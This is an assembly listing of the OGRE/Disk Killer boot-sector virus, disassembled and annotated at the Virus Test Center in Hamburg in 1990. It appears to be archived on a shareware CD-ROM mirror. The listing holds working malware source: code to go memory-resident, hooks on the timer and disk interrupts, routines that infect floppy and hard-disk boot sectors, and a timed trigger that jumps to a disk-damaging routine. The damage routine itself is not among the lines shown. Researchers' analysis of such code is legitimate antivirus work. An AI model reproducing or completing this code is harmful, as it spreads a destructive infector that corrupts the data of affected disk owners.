home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-O.ZIP / ogre.asm next >
Assembly Source File  |  1995-10-29  |  59KB  |  1,272 lines

  1.   
  2. PAGE  65,130
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██     █    █ █████  ████     Virus Test Center                         ██
  7. ;██     █    █   █   █         Universität Hamburg                       ██
  8. ;██      █  █    █   █         Schlüterstr. 70                           ██
  9. ;██       ██     █    ████     2000 Hamburg 13                           ██
  10. ;██                                                                      ██
  11. ;██ This listing is only given to other computer virus researchers, who  ██
  12. ;██ are deemed trustworthy, and then, only for the sake of crosschecking.██
  13. ;██ If you are not one of those, you have illegally obtained this copy.  ██
  14. ;██ Be warned that distributing viruses is illegal under the laws of many██
  15. ;██ countries.                                                           ██
  16. ;██████████████████████████████████████████████████████████████████████████
  17. ;██                                                                      ██
  18. ;██                OGRE/Disk Killer virus                                ██
  19. ;██                                                                      ██
  20. ;██      Disassembled: Jan-90                                            ██
  21. ;██                by: Morton Swimmer                                    ██
  22. ;██                                                                      ██
  23. ;██      Virus type: Boot sector                                         ██
  24. ;██                                                                      ██
  25. ;██                                                                      ██
  26. ;██                                                                      ██
  27. ;██████████████████████████████████████████████████████████████████████████
  28.  
  29. seg_0           segment at 0
  30.                 org     20h
  31. int8_vector     dd      ?
  32.                 org     24h
  33. int9_vector     dd      ?
  34.                 org     4Ch
  35. int13_vector    dd      ?
  36.                 org     204h
  37. int81_vector    dd      ?
  38.                 org     208h
  39. int82_vector    dd      ?
  40.                 org     20ch
  41. int83_vector    dd      ?
  42.  
  43.                 org     0413h
  44. mem_avail       dw      ?
  45.  
  46. seg_0           ends
  47.  
  48. ID_word         equ     3CCBh                                   ; (seg_a:3CCB=0)
  49.   
  50. seg_a           segment byte public
  51.                 assume  cs:seg_a, ds:seg_a
  52.   
  53.   
  54.                 org     0
  55.   
  56. ogre            proc    far
  57.   
  58. start:
  59.                 cli                                 ; Disable interrupts
  60.                 jmp     short loc_2                 ; (0052)
  61.  
  62. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  63. ;                   Boot Record Parameters
  64. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  65.   
  66. disk_info         equ     this byte
  67. system_ID         db      'MSDOS3.3'      ; system ID
  68. BytesPerSector    dw      offset entry    ; bytes/sector
  69. SectorsPerCluster db      2               ; sectors/cluster
  70. ReservedSectors   dw      1               ; # of reserved sectors
  71. FATcopies         db      2               ; # of FAT copies
  72. RootDirEntries    dw      70h             ; # of root dir entries
  73. SectorsPerDisk    dw      2D0h            ; sectors/disk
  74.                   db      0FDh            ; format ID
  75. SectorsPerFAT     dw      2               ; sectors/FAT
  76. SectorsPerTrack   dw      9               ; sectors/Track
  77. DiskHeads         dw      2               ; # of heads
  78. SpecialResSectors db      0               ; # of special reserved sectors
  79.  
  80. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  81. ;                      Data
  82. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  83.  
  84.                 db      18 dup (0)
  85.                 db      12h, 0, 0, 0, 0, 1, 0
  86.                 db      0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh, 0, 0
  87. ogre_ID         dw      ID_word                     ;(003E) virus ID
  88. original_bs     dw      48h                         ; sector # of original bootsector
  89.                                                     ; (DOS notation)
  90. virus_body      dd      00000044h                   ; position of virus body on
  91.                                                     ; disk in DOS convention
  92. _virus_body     dd      00000010h                   ; work copy
  93. drive           db      0
  94.  
  95.                 db      55h, 0, 0, 0, 0, 55h, 55h
  96.  
  97. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  98. ;                      more code
  99. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  100.  
  101. loc_2:
  102.                 mov     ax,cs:mem_avail             ; BIOS: memory available variable
  103.                 mov     cl,6
  104.                 shl     ax,cl                       ; Shift w/zeros fill
  105.                 mov     ds,ax
  106.                 cmp     ogre_ID,ID_word             ; is the virus already in memory?
  107.                 jne     loc_3                       ; Jump if not equal
  108.                 push    ds
  109.                 lea     ax,cs:resident_entry
  110.                 push    ax
  111.                 sti                                 ; Enable interrupts
  112.                 retf                                ; jump into the resident virus
  113.  
  114. loc_3:                                              ; set segment registers
  115.                 mov     ax,7C00h
  116.                 mov     cl,4
  117.                 shr     ax,cl                       ; Shift w/zeros fill
  118.                 mov     cx,cs
  119.                 add     ax,cx
  120.                 mov     ds,ax
  121.                 mov     es,ax                       ; es = ds = (7C00>>4) + cs
  122.                                                     ; = segment beginning with the virus
  123.                 mov     ss,cx                       ; ss = (7C00>>4)
  124.                 mov     sp,0F000h
  125.  
  126.                                                     ; Load rest of virus into
  127.                                                     ; memory behind present position
  128.                 sti                                 ; Enable interrupts
  129.                 mov     drive,dl
  130.                 mov     cx,4
  131.                 mov     bx,BytesPerSector           ; = 200h (usually)
  132.  
  133.                 mov     ax,word ptr virus_body      ; _virus_body := virus_body
  134.                 mov     word ptr _virus_body,ax
  135.                 mov     dx,word ptr virus_body[2]
  136.                 mov     word ptr _virus_body[2],dx
  137.   
  138. locloop_4:
  139.                   push    cx
  140.                   call    conv_notation             ; (00F4) convert DOS to BIOS notation
  141.                   mov     cx,3
  142.   
  143. locloop_5:
  144.                     push    cx
  145.                     mov     al,1
  146.                     call    rd_sector               ; (0143)
  147.                     pop     cx
  148.                     jnc     loc_6                   ; Jump if carry=0
  149.                     mov     ah,0
  150.                     int     13h                     ; Disk  dl=drive #: ah=func a0h
  151.                                                     ;  reset disk, al=return status
  152.                   loop    locloop_5                 ; Loop if cx > 0
  153.   
  154.                   int     18h                       ; ROM basic
  155. loc_6:
  156.                   call    inc_sector                ; (00E6)
  157.                   mov     ax,word ptr _virus_body
  158.                   mov     dx,word ptr _virus_body[2]
  159.                   add     bx,BytesPerSector         ; (seg_a:000B=200h)
  160.                   pop     cx
  161.                 loop    locloop_4                               ; Loop if cx > 0
  162.  
  163.                                                     ; reserve 8 pages of memory
  164.                                                     ; for the virus at top of memory
  165.                 mov     ax,cs:mem_avail             ; BIOS: Memory available
  166.                 sub     ax,8
  167.                 mov     cs:mem_avail,ax             ; BIOS: Memory available
  168.                 mov     cl,6
  169.                 shl     ax,cl                       ; Shift w/zeros fill
  170.                 mov     es,ax                       ; es := mem_avail<<6
  171.                                                     ;  = new location for virus
  172.                                                     ; copy virus to top of memory
  173.                 mov     si,0
  174.                 mov     di,0
  175.                 mov     cx,0A00h
  176.                 cld                                 ; Clear direction
  177.                 rep     movsb                       ; Rep when cx >0 Mov [si] to es:[di]
  178.  
  179.                 push    es
  180.                 mov     ax,BytesPerSector           ; (seg_a:000B=200h)
  181.                 push    ax
  182.                 retf                                ; long jump to entry
  183.   
  184. ogre            endp
  185.   
  186. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  187. ;               inc_sector SUBROUTINE(00E6)
  188. ; increment the sector number in _virus_body (DOS notation)
  189. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  190.   
  191. inc_sector      proc    near
  192.                 mov     ax,word ptr _virus_body     ; (seg_a:0046)
  193.                 inc     ax
  194.                 mov     word ptr _virus_body,ax     ; (seg_a:0046)
  195.                 jnc     loc_ret_7                   ; Jump if carry=0
  196.                 inc     word ptr _virus_body[2]                                 ; (seg_a:0048=0)
  197.  
  198. loc_ret_7:
  199.                 retn
  200. inc_sector      endp
  201.   
  202.   
  203. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  204. ;                      conv_notation  SUBROUTINE(00f4)
  205. ;
  206. ;   Covert from DOS sector notation to BIOS sector/head/track notation
  207. ;
  208. ;   input: the DOS sector number to convert in dx:ax
  209. ;
  210. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  211.   
  212. conv_notation   proc    near
  213.                 div     SectorsPerTrack             ; ax,dxrem=dx:ax/data
  214.                 inc     dl
  215.                 mov     sector,dl
  216.                 xor     dx,dx                       ; Zero register
  217.                 div     DiskHeads                   ; ax,dxrem=dx:ax/data
  218.                 mov     head,dl
  219.                 mov     track,ax
  220.                 retn
  221. conv_notation   endp
  222.   
  223.                 db      0A1h, 41h, 1
  224.                 db      8Bh, 0Eh, 1Ah, 0, 0F7h, 0E1h
  225.                 db      2, 6, 3Fh, 1, 80h, 0D4h
  226.                 db      0, 8Bh, 0Eh, 18h, 0, 0F7h
  227.                 db      0E1h, 8Ah, 0Eh, 40h, 1, 0FEh
  228.                 db      0C9h, 2, 0C1h, 80h, 0D4h, 0
  229.                 db      83h, 0D2h, 0, 0A3h, 46h, 0
  230.                 db      0A3h, 42h, 0, 89h, 16h, 48h
  231.                 db      0, 89h, 16h, 44h, 0, 0C3h
  232. head            db      0   ;(013f)
  233. sector          db      1   ;(0140)
  234. track           dw      4   ;(0141)
  235.  
  236. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  237. ;               rd_sector, wr_sector, direct_int13  SUBROUTINEs(00E6)
  238. ;
  239. ;   read or write a sector using BIOS notation with data in
  240. ;   track, sector, head, drive variables
  241. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  242. ;
  243. ;         read a sector
  244.   
  245. rd_sector       proc    near
  246.                 mov     ah,2                        ; READ
  247.                 jmp     short direct_int13
  248.   
  249. ;▀▀▀▀ External Entry into Subroutine ▀▀▀
  250. ;
  251. ;         write a sector
  252.   
  253. wr_sector:
  254.                 mov     ah,3                        ; WRITE
  255.                 jmp     short direct_int13
  256.   
  257. ;▀▀▀▀ External Entry into Subroutine ▀▀▀
  258. ;
  259. ;         do whatever is in AH
  260.   
  261. direct_int13:
  262.                 mov     dx,track                    ; (seg_a:0141)
  263.                 mov     cl,6
  264.                 shl     dh,cl                       ; Shift w/zeros fill
  265.                 or      dh,sector                   ; (seg_a:0140)
  266.                 mov     cx,dx
  267.                 xchg    ch,cl                       ; ch = (HIBYTE(track)<<6)||sector
  268.                 mov     dl,drive                    ; (seg_a:004A)
  269.                 mov     dh,head                     ; (seg_a:013F)
  270.                 int     13h                         ; Disk  dl=drive #, dh=head #
  271.                                                     ; upper 2 bits of cl and ch = track #
  272.                                                     ; lower 6 bits of cl = sector #
  273.                                                     ; es:bx read buffer
  274.                                                     ; ah=function (2 or 3), al=sectors to read
  275.                                                     ;  BIOS disk routines, al=return status
  276.                 org     $-1
  277. code_patch      equ     this byte                   ; code patch to avoid problems
  278.                 org     $+1                         ; later when int 13 is replaced
  279.                                                     ; with our own routine
  280.                 retn
  281. rd_sector       endp
  282.   
  283.                 db      0
  284.   
  285. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  286. ;                              SUBROUTINE(0167)
  287. ;
  288. ; N.B.: bx = offset buffer_area on entry (always)
  289. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  290.   
  291. rd_bootsector   proc    near
  292.                 test    drive,80h                   ; check if hard disk
  293.                 jz      rd_FDbootsector             ; Jump if no hard disk
  294.                 call    rd_FDbootsector
  295.                 jc      loc_14                      ; error exit
  296.  
  297.                 push    bx
  298.                 mov     cx,4
  299.                 mov     bx,1BEh
  300.   
  301. locloop_9:                                          ; ??????
  302.                   mov     ah,buffer_area[bx]
  303.                   cmp     ah,80h
  304.                   je      loc_10                    ; Jump if equal
  305.                   add     bx,10h
  306.                 loop    locloop_9                   ; Loop if cx > 0
  307.  
  308.                 mov     marker1,0FFh                ; (seg_a:01F3)
  309. ;*              nop
  310.                 jmp     short loc_14                ; error exit
  311.                 nop
  312. loc_10:
  313.                 mov     dl,drive                    ; (seg_a:004A)
  314.                 mov     _drive,dl                   ; (seg_a:01F4)
  315.                 mov     ax,word ptr buffer_area[bx+1]   ; (seg_a:08A3)
  316.                 and     ah,3Fh                      ; 00111111
  317.                 mov     _head_sector,ax             ; (seg_a:01F5)
  318.                 mov     ah,byte ptr buffer_area[bx+2]   ; (seg_a:08A4)
  319.                 mov     cl,6
  320.                 shr     ah,cl                       ; Shift w/zeros fill
  321.                 mov     al,byte ptr buffer_area[bx+3]   ; (seg_a:08A5)
  322.                 mov     _track,ax                   ; (seg_a:01F7)
  323.                 mov     marker1,55h                 ; (seg_a:01F3)
  324. ;*              nop
  325.                 pop     bx
  326.                 mov     ax,_track                   ; (seg_a:01F7)
  327.                 mov     track,ax                    ; (seg_a:0141)
  328.                 mov     ax,_head_sector             ; (seg_a:01F5)
  329.                 mov     word ptr head,ax            ; (seg_a:013F) head and sector
  330.                 jmp     short loc_12                ; read the sector
  331.                 nop
  332.   
  333. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  334. ;
  335.   
  336. rd_FDbootsector:
  337.                 mov     ax,0
  338.                 mov     track,ax                    ; track=0
  339.                 inc     ah
  340.                 mov     word ptr head,ax            ; => head=0, sector=1
  341.                                                     ; => boot sector
  342.  
  343. loc_12:                                             ; read sector in track/head/sector/drive
  344.                                                     ; N.B.: we get here two ways
  345.                 mov     cx,3
  346.                 mov     al,1
  347.   
  348. locloop_13:
  349.                   push    cx
  350.                   call    rd_sector                 ; read sector to bx
  351.                   pop     cx
  352.                   jnc     loc_15                    ; Jump if carry=0 (normal exit)
  353.  
  354.                   mov     ah,0
  355.                   int     83h                       ; reset disk
  356.                 loop    locloop_13                  ; Loop if cx > 0
  357.   
  358. loc_14:
  359.                 stc                                 ; Set carry flag
  360.                 retn                                ; error exit
  361. loc_15:
  362.                 clc                                 ; Clear carry flag
  363.                 retn                                ; normal exit
  364. rd_bootsector   endp
  365.  
  366. ;██████████████████████████████████████████████████████████████████████████
  367. ;
  368. ;               Data
  369. ;
  370. ;██████████████████████████████████████████████████████████████████████████
  371.   
  372.   
  373.                 db      7 dup (0)
  374. counter_lo      dw      0                           ; for int 8 (timer interrupt)
  375. counter_hi      db      0                           ; for int 8 (timer interrupt)
  376. marker1         db      0                           ; some sort of marker1?
  377. _drive          db      80h
  378. _head_sector    dw      101h
  379. _track          dw      0
  380. end_of_bs       equ     this byte
  381.                 db      0, 0, 0, 0, 0
  382.                 db      55h, 0AAh                   ; normal end of bs ID
  383.   
  384. ;██████████████████████████████████████████████████████████████████████████
  385. ;
  386. ;                       External Entry Point
  387. ;
  388. ;██████████████████████████████████████████████████████████████████████████
  389.   
  390. entry:
  391.                 cli                                 ; Disable interrupts
  392.                 mov     byte ptr cs:code_patch,83h  ; (seg_a:0164=13h)
  393.                 xor     ax,ax                       ; Zero register
  394.                 mov     ds,ax
  395.  
  396.                                                         ; int 8 -> int 81
  397.                 mov     ax, word ptr ds:int8_vector     ; (0000:0020)
  398.                 mov     word ptr ds:int81_vector,ax     ; (0000:0204=0)
  399.                 mov     ax,word ptr ds:int8_vector[2]   ; (0000:0022)
  400.                 mov     word ptr ds:int81_vector[2],ax  ; (0000:0206=0)
  401.  
  402.                                                         ; int 13 -> int 83
  403.                 mov     ax,word ptr ds:int13_vector     ; (0000:004C=1DB1h)
  404.                 mov     word ptr ds:int83_vector,ax     ; (0000:020C=0)
  405.                 mov     ax,word ptr ds:int13_vector[2]  ; (0000:004E=70h)
  406.                 mov     word ptr ds:int83_vector[2],ax  ; (0000:020E=0)
  407.  
  408.                                                         ; hook int 8
  409.                 mov     ax,offset int_8_entry
  410.                 mov     word ptr ds:int8_vector,ax
  411.  
  412.                                                         ; hook int 13
  413.                 mov     ax,offset int_13_entry
  414.                 mov     word ptr ds:int13_vector,ax
  415.  
  416.                 mov     ax,cs
  417.                 mov     word ptr ds:int8_vector[2],ax
  418.                 mov     word ptr ds:int13_vector[2],ax
  419.  
  420.                 sti                                     ; Enable interrupts
  421.                 jmp     short loc_16
  422.                 nop
  423.  
  424.                                                     ; entry point into
  425.                                                     ; virus if it is
  426.                                                     ; already in memory
  427. resident_entry: xor     ax,ax                       ; Zero register
  428.                 mov     ds,ax
  429.                 mov     ax,cs
  430.                 mov     es,ax
  431.                 mov     si,7C03h
  432.                 mov     di,3
  433.                 mov     cx,47h
  434.                 cld                                 ; Clear direction
  435.                 rep     movsb                       ; Rep when cx >0 Mov [si] to es:[di]
  436. loc_16:
  437.                 xor     ax,ax                       ; Zero register
  438.                 mov     es,ax
  439.                 mov     ax,cs
  440.                 mov     ds,ax
  441.                 mov     ax,original_bs              ; (seg_a:0040=48h)
  442.                 xor     dx,dx                       ; Zero register
  443.                 call    conv_notation
  444.                 mov     bx,7C00h
  445.                 mov     cx,3
  446.   
  447. locloop_17:
  448.                   push    cx
  449.                   mov     al,1
  450.                   call    rd_sector
  451.                   jnc     loc_18                    ; Jump if carry=0
  452.                   mov     ah,0
  453.                   int     83h
  454.                   pop     cx
  455.                 loop    locloop_17                  ; Loop if cx > 0
  456.   
  457.                 int     18h                         ; ROM basic
  458. loc_18:
  459. ;               jmp     far ptr [0000:7C00h]
  460.                 db      0eah, 0, 7ch, 0, 0
  461.   
  462. ;██████████████████████████████████████████████████████████████████████████
  463. ;
  464. ;               External Entry Point for Timer Interrupt
  465. ;
  466. ;██████████████████████████████████████████████████████████████████████████
  467.   
  468. int_8_entry:
  469.                 inc     cs:counter_lo               ; (seg_a:01F0=0)
  470.                 jnz     loc_19                      ; Jump if not zero
  471.                 inc     cs:counter_hi               ; (seg_a:01F2=0)
  472. loc_19:
  473.                 int     81h
  474.                 iret                                ; Interrupt return
  475.   
  476.   
  477. ;██████████████████████████████████████████████████████████████████████████
  478. ;
  479. ;                       External Entry Point for Keyboard Interrupt
  480. ;
  481. ;██████████████████████████████████████████████████████████████████████████
  482.   
  483. int_9_entry:
  484.                 int     82h
  485.                 retf    2                           ; Return far
  486.   
  487.   
  488. ;██████████████████████████████████████████████████████████████████████████
  489. ;
  490. ;                       External Entry Point for BIOS Disk Services
  491. ;
  492. ; capture all reads from disk
  493. ;
  494. ; if (function == READ)
  495. ;      AND (counter_lo > 0)         # within a 20.71 hour period
  496. ;      AND (counter_hi = 30h)       # after 993.96 hours (41 days)
  497. ; then damage!
  498. ;
  499. ;
  500. ;
  501. ;██████████████████████████████████████████████████████████████████████████
  502.   
  503. int_13_entry:
  504.                 sti                                 ; Enable interrupts
  505.                 cmp     ah,2                        ; READ SECTOR
  506.                 jne     int_13_exit                      ; Jump if not equal
  507.                 cmp     cs:counter_lo,0             ; (seg_a:01F0)
  508.                 jbe     loc_20                      ; Jump if below or =
  509.                 cmp     cs:counter_hi,30h           ; (seg_a:01F2)
  510.                 jne     loc_20                      ; Jump if not equal
  511.                 jmp     damage                      ; (05C2) let's have some fun
  512. loc_20:
  513.                 test    dl,80h                      ; is drive a hard disk
  514.                 jnz     loc_22                      ; Jump if hard disk (bit 7 set)
  515.  
  516.                 test    cl,0C0h                     ; are the 2 high bit set: good sign the media is wierd
  517.                 jnz     int_13_exit                 ; Jump if not zero: leave
  518.                 cmp     ch,0
  519.                 jne     int_13_exit                 ; Jump if not equal: leave
  520.                 cmp     dh,0
  521.                 je      loc_23                      ; Jump if equal
  522. int_13_exit:
  523.                 jmp     _int_13_exit                ; (034A) vamoush
  524.  
  525.                                                     ; drive is hard disk!
  526. loc_22:
  527.                 test    cs:marker1,0AAh             ; BS was probably source of
  528.                                                     ; of virus, else was just
  529.                                                     ; infected.
  530.                 jz      loc_23                      ; Jump if zero
  531.  
  532.                                                     ; does data match with
  533.                                                     ; source of virus?
  534.  
  535.                 cmp     dl,cs:_drive                ; (seg_a:01F4)
  536.                 jne     int_13_exit                 ; Jump if not equal: leave
  537.                 cmp     dh,byte ptr cs:_head_sector ; (seg_a:01F5)
  538.                 jne     int_13_exit                 ; Jump if not equal: leave
  539.                 cmp     ch,byte ptr cs:_track       ; (seg_a:01F7)
  540.                 jne     int_13_exit                 ; Jump if not equal: leave
  541.                 dec     cs:counter2                 ; (seg_a:034F)
  542.                 jnz     int_13_exit                 ; Jump if not zero: leave
  543.                 mov     cs:marker2,0FFh             ; mark HD
  544.                 nop
  545.                                                     ; HD or FD drive:
  546.                                                     ; lets get down to the
  547.                                                     ; nitty-gritty
  548. loc_23:
  549.                 push    ax
  550.                 push    bx
  551.                 push    cx
  552.                 push    dx
  553.                 push    ds
  554.                 push    es
  555.                 push    si
  556.                 mov     ax,cs
  557.                 mov     ds,ax
  558.                 mov     es,ax                       ; es = ds = cs
  559.  
  560.                 cmp     byte ptr marker2,0FFh
  561.                 jne     loc_24                      ; Jump if not equal
  562.  
  563.                 call    update_bs_data              ; (0352)
  564.                 jc      loc_27                      ; Jump if carry Set
  565.                 jmp     short loc_28                ; (0343)
  566.                 nop
  567.                                                     ; it was a FD
  568.  
  569. loc_24:                                             ; load the BS
  570.                 mov     drive,dl                    ; (seg_a:004A)
  571.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  572.                 call    rd_bootsector               ; (0167)
  573.                 jc      loc_27                      ; Jump if error
  574.  
  575.                 mov     ax,[bx][offset ogre_ID]
  576.                 nop                                 ;*Fixup for MASM (M)
  577.                 cmp     ax,ID_word                  ; is BS infected?
  578.                 jne     loc_25                      ; Jump if not equal
  579.  
  580.                 test    drive,80h                   ; (seg_a:004A)
  581.                 jz      loc_28                      ; Jump if zero
  582.                 mov     marker1,0AAh                ; (seg_a:01F3)
  583.                 jmp     short loc_28
  584.                 nop
  585. loc_25:                                             ; infect a FD
  586.                 call    cp_boot_record              ; copy the boot record to
  587.  
  588.                 test    drive,80h                   ; (seg_a:004A)
  589.                 jnz     loc_26                      ; Jump if not zero
  590.                 call    infect_FD                   ; (04A8)
  591.                 jc      loc_27                      ; Jump if carry Set
  592.                 jmp     short loc_28
  593.                 nop
  594. loc_26:                                             ; infect a HD
  595.                 call    infect_HD
  596.                 jc      loc_27                      ; Jump if error
  597. loc_27:
  598.                 nop
  599. loc_28:
  600.                 pop     si
  601.                 pop     es
  602.                 pop     ds
  603.                 pop     dx
  604.                 pop     cx
  605.                 pop     bx
  606.                 pop     ax
  607. _int_13_exit:
  608.                 int     83h
  609.                 retf    2                           ; Return far
  610.  
  611. counter2        db      1   ; could this be some sort of counter?
  612. marker2         db      0   ; is disk HD or FD
  613. marker3         db      0
  614.   
  615. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  616. ;                              SUBROUTINE(0352)
  617. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  618.   
  619. update_bs_data  proc    near
  620.                 mov     counter2,10h                ; (seg_a:034F)
  621.                 mov     marker2,0                   ; (seg_a:0350)
  622.                 mov     drive,dl                    ; (seg_a:004A)
  623.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  624.                 call    rd_bootsector
  625.                 cmp     word ptr [bx][offset ogre_ID],ID_word
  626.                 nop                                 ;*Fixup for MASM (M)
  627.                 je      loc_30                      ; Jump if equal
  628.                 mov     marker1,0                   ; (seg_a:01F3)
  629.                 retn
  630. loc_30:
  631.                 cmp     marker3,77h                 ; (seg_a:0351=0)
  632.                 je      loc_31                      ; Jump if equal
  633.                 mov     ax,[bx][offset counter_lo]
  634.                 add     counter_lo,ax               ; (seg_a:01F0=0)
  635.                 mov     al,counter_hi               ; (seg_a:01F2=0)
  636.                 adc     counter_hi,al               ; (seg_a:01F2=0)
  637.                 mov     marker3,77h                 ; (seg_a:0351=0)
  638. loc_31:
  639.                 mov     ax,counter_lo
  640.                 mov     [bx][offset counter_lo],ax
  641.                 mov     al,counter_hi
  642.                 mov     [bx][offset counter_hi],al
  643.                 mov     ax,[bx][offset _head_sector]
  644.                 mov     word ptr head,ax
  645.                 mov     ax,[bx][offset _track]
  646.                 mov     track,ax
  647.                 mov     al,1
  648.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  649.                 call    wr_sector
  650.                 mov     marker1,0AAh                ; (seg_a:01F3)
  651.                 retn
  652. update_bs_data  endp
  653.   
  654.   
  655. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  656. ;                              SUBROUTINE(03BB)
  657. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  658.   
  659. infect_HD       proc    near
  660.                 mov     ax,word ptr SpecialResSectors   ; (seg_a:001C=0)
  661.                 cmp     ax,5
  662.                 jbe     loc_32                      ; Jump if below or =
  663.                 dec     ax
  664.                 xor     dx,dx                       ; Zero register
  665.                 mov     original_bs,ax              ; (seg_a:0040)
  666.                 call    conv_notation
  667.                 mov     al,1
  668.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  669.                 call    wr_sector                   ; (0147)
  670.                 jc      loc_32                      ; Jump if carry Set
  671.                 mov     ax,original_bs              ; (seg_a:0040)
  672.                 xor     dx,dx                       ; Zero register
  673.                 sub     ax,4
  674.                 call    wr_virus_body               ; (03F6)
  675.                 jc      loc_32                      ; Jump if carry Set
  676.                 call    replace_bs                  ; (052D)
  677.                 jc      loc_32                      ; Jump if carry Set
  678.                 mov     marker1,0AAh                ; (seg_a:01F3)
  679.                 clc                                 ; Clear carry flag
  680.                 retn
  681. loc_32:
  682.                 stc                                 ; Set carry flag
  683.                 retn
  684. infect_HD       endp
  685.   
  686. last_data_cluster   dw      162h    ; last cluster available on disk
  687. free_clusters       db      3
  688. required_clusters   db      3
  689.   
